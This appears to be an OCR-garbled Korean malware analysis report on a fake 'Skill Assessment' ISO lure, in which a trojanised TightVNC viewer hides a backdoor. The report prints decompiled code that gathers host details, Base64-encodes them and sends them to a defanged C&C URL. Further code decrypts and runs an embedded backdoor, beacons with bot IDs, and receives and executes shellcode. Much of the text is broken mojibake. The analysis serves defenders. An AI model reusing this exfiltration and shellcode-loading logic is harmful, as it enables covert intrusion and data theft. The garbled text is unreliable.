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1. Skill Assessment.iso

(MDS5 : 4E10C8D3D71136E870CF58COE31DB2BC, SIZE : 3,260,416)

e . QEAA AATS TRIAAUTGhtVNOS +HS AMBSe 42 Ay Heot Hel

ViRobot [SO.S.IncludeMal.3260416

dMHE -
(1) “Skill Assessment.iso” LS HE 22 Al EXE DYt TXT oHY0| &= DVD
czto|E7t MgEICt,

» W PC » DVD EZH0[Z (E) Skill Assessment w
o2 : 2T3 o 2% =7

i Amazon Workspaces.exe 2023-05-11 == 3,132KB
|=] Readme.txt 2023-05-11 = KB

[O12 1] DVD E2to|=

(2) "Amazon Workspaces.exe” L2 QEAA TightVNC Viewer 2 33t T O|C},

" Amazon Workspaces.exe 4 X
gt ==hd ArHT|
l"._ Amazon Workspaces. exe
The m Al 25 STET 2 axe)
Moy TightVNC Viewer

[3 2] Amazon Workspaces.exe &

(3) "Readme.txt” It TightVNC Viewer & At X

4

2 MH ZE7F HoiH At

) Readme txt - Windows B2
oErm BEE MM0O BV ESEH)

EAServer: SA-CLOUD-AWS05
Pass: TE W

User: E I IRl ok -iI
Pass: M TR

[2Zl 3] Readme.txt LH&
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2. Amazon Workspaces.exe

(MDS5 : 3EF1892C1A5F1BB056871B7D7E5CD69A, SIZE : 3,207,168)

-

e 2 Al PC BEE EH = MEAZE MY YEE HESE OMET &Y Al
o ofMAET} AN
ViRobot Backdoor.Win.S.Agent.3207168
HHEH
(1) @& VNC mt22 User 0|5, PC 0|, HIQIEE O|F, WorkGroup O|§& +H DL
GetComputerNameW(Compu ame, &nSize);
LODWORD ( v@ W(HKEY_LOCAL MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersicn“, @, @x1@1u, &hkey);
if ( 1(_Dwo
ypeE = 85
if ( RegQueryValueExW(hKey, L"RegisteredOwner”, @i64, &Type, (LPBYTE)UserName, &cbData) || Type != 1 &8 Type !=7 )
y s({Userlame, Bxleduiss, L"N/A");
HKEY_LOCAL_MACHINE;
pe = B;
if ( !RegOpenkeyExk(HKEY_LOCAL_MACHINE, L"HARDWARE\\DESCRIPTION\\System\\BIOS", @, @x1@1u, &phkReszul
ta)
else
wescpy_s(Mainboardiams, @x184uisd, L"N/A");
if  !NetGetJoinInformation(@i64, &Name r, &BufferType) )
if ( (unsigned i ype - 2) €= 1)
wesepy_s(Work , Bx184ui6a, NameBuffer);
NetApiBufferFree(Na fer);
I
[A8 4 PC 82 8 3L
2 +=HE PCYES2 BASE64 2 QIR T £ GET LEt0|HO| HAH CaC AMHZ HSECH

WC&C MH

. hxxps://www[.]jeannecampos.com/wp-includes/certificates/ca-bundle.php?v={=%

MultiByteToWideChar (OEMCP, @, aDla2767677b7db, -1, WideCh
1 dla27C7C77b7dbb432£d8cd25b148f19 | Username | PC Mame
17, Bx4BBuibd, L"¥s|¥s|¥s|¥s|Hs|",
3=6 ACP()s

WideCharToMultiByte(v3,

rStr, 32);
| MainBoard MName | WorkGroup Name
ideCharstr ser

ame, ComputerName, MainBoardName, WorkGroupName);

str[vz] );

JBASEG4_Encode(Mult
jsuh 146839730V
~1, @x824uied,
@ = InternetOpenA(szAgent, 9, 9164 8164, a);
if (ve )
LODWORD(v2) =

(unsigned int)InternetOpenUrlA(ve, (LPCSTR)szUrl, @ie4, @, 9x30000100, @icd);

[12! 5] BASE64 2 C&C MHE TE
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(3) O|= ArEARZl "Readmetxt’'E H1 MH YEHE HESIH M0 GYIES AT

i Amazon WorkSpaces WMC Connection — >

Connection

Remote Host: |v | Connect |

Select & host or 42ACLOUD-AWSD1
append it after {5A-CLOUD-AWS02 Options. .
SA-CLOUD-AWS03
SA-CLOUD-AWS04
SA-CLOUD-AWSO05
Listening mode allows people to attach your viewer to

their desktops. Viewer wil wait for incoming connections.

Reverse Connect

Listening mode

[AE 6] AB e

if ( Event_Dialog == 1648 ) // Remote Host {1%

_1;
2)

f(va==8)

9 =
if

vle = SendMessageW(* (HWND *)(al + 224), 6x147u, 0ic4, @iec4);
if ( vie < @ )
return @i6d;
sub_1480440F8(&v17);
(*(void (_ fas
al + 216,
(unsigned int)vie,
&v17);
sub_148827FeR(&15, vil, viG[@]);
sub_14@@27C50(al + 128, &v15);
w15 = BRegistrySettingsManager:: vftable';
if ( vie )

#*)(__int64, QWORD, void ***))(*(_QWORD *)(al + 216) + 56i64))(

(**v16)(vi6, 1i64);
w15 = RSettingsManager:: vftable®;
w17 = &StringStorage:: vftable';
if ( vis[e] )
std::allocator<wchar_t»::deallocate(vis, vis[@], (vis[2] - vis[e]) »»> 1);
}
h
else

BackdoorInit();

}

(A8 7] MH M Al 2

rr
Al
[N
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=

@ %=l AYREE eovisof gon, s3> uel Yol YgE
11

= (char *)&15 - (char *)BACKDOOR_PE;
vGé = _mm_load 51128(& 15)

7 = &unk_148@F2A74 - (_UI I B. H
v8 = (unsigned _ int64)(uns cvned int j 4 orx 4

va - )(( char *)v3 + v7);
sub_148061B ( 14, &v3->m128i i8[v7], v3);
if (w3 > (_ml28i *)((char *)&15.m128i_u64[1] + 7) || (_ml28i *)((char *)&3->ml28i_us4[1] + 7) < &v15 )

3 = _mm_xor_s5i128(_mm_loadu_sil28(v3), v&);

10 = v3j
11 = 16i64;

16->m128i_i8[@] "= v1e->m128i_u8[v5];
18 = (_ ml28i *)((char *)vie + 1);

}
while ( vil );

}
while ( va );

}
Resolve APIs();
ExecuteBackdoor (BACKDOOR_PE, BAC

1ZE, vi2);

[12! 8] Password.txt 244 = Al

(5) 2 E MEZO0l= Bot IDE HH5H0 CAC MHO| TEBHLY.
. hxxps://www[.]jeannecampos.com/wp-includes/blocks/avatar/editor-rtl.php

pos.com/wp-includes/blocks/avatar/editor-rtl.php HTTP/1.1
wW-form-urlencoded

(Windows NT 1@.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.8.@ Safari/537

Cache-Contreol: no-cac

idxAp=BMQWG&orderBy=0034ES899WEET17BGSAAARrsv_t= NmIUNGdPZzYxVIW14a81qYTVDOEo1Qk1RVAdgXT81XU1pNnZ SMDKLaT 1y

(6) 0|2 C&C AHI2} 1 & F7|2 SAI2 St POST C|O[EH 2| 2 #HF Ziof| 2t C&C
MH et SA5t=E E20| U

7 (22 912 POST HIO|H & & +

, Bot Helst BE EXAEE2 HELE MY
49 72 e
QQ34ES899WEET17BGSAAA BotIDE M&
4)51298Y9WEHPGP293HGE Shellcode & 83
ZC8V9023HIN2THWO0823AS} 2AHOIE ZE QF

[E 1] POST GIO|H 2 ¥imy gt 2[O|

= (char 'j&BotID_Table + 12 * (rand() % 18);

char *)&ActionString Table + 12 * (rand() % 18);
= rand() ¥ 18;

swpr‘lntf s(

a2,
@xB24uisd,
(const wchar_t *const)"¥s=Rs&%s=7C(8VI023HIN2THWAE23AS&RKs=""

¥

&Varstring_Table[12 * vie],
VarValueString_Table,

v8;

[3& 10] POST HIO|H 44 RE
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sHo|ES C}sH
deE== 9

8) & PC&= HYH2 Shellcode 2 QI8 /AKX O, oY =3 & oz &Y
A

*y3@ = Param_ZC8VI823HIN2THWEB23AS;
shellcode(vie);

cv_Shellcode, @164, @x3000u);

goto Reconnect;

i

if ( *(unsigned int *)((char *)Command + 22) == 8x11174 )
((void (_ fastcall *)(_QWORD, const void *))Recv_Shellcode)(@ied, )]
goto Reconnect;

if ( *(unsigned int *)((char *)Command + 22) != @x11176 )
goto Reconnect;

A1)
[n

(33 11] MEE2 Shellcode &3
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